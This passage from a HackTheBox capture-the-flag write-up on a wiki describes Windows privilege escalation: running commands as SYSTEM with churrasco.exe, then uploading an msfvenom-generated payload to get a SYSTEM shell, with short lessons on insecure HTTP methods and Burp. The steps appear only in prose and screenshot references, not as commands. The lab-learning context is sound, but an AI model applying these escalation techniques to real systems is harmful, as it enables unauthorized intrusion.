[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-111.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So we can run commands using churrasco.exe as Administrator. I tried to add a user and add this user to local admin group. For some reason I didnt get it to work. So I opted for another solution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since I can run commands as NT AUTHORITY\SYSTEM I can probably also run programs with the same privilege. So I created a new payload using msfvenom, and copied it to the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-112.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-113.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-114.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And we have a shell as NT AUTHORITY\SYSTEM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Using insecure configuration on a webserver that allows us to use different HTTP methods could result in RCE. * To be able to see what a script is running against a webserver, we can use burp to create a redirect from loopback to webserver, intercepting all traffic.* Many of the privilege escaltion methods I tried did not work. And being creative with the tools you have can give you privilege escalation. As someone said before, privilege escalation is more art than technique.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>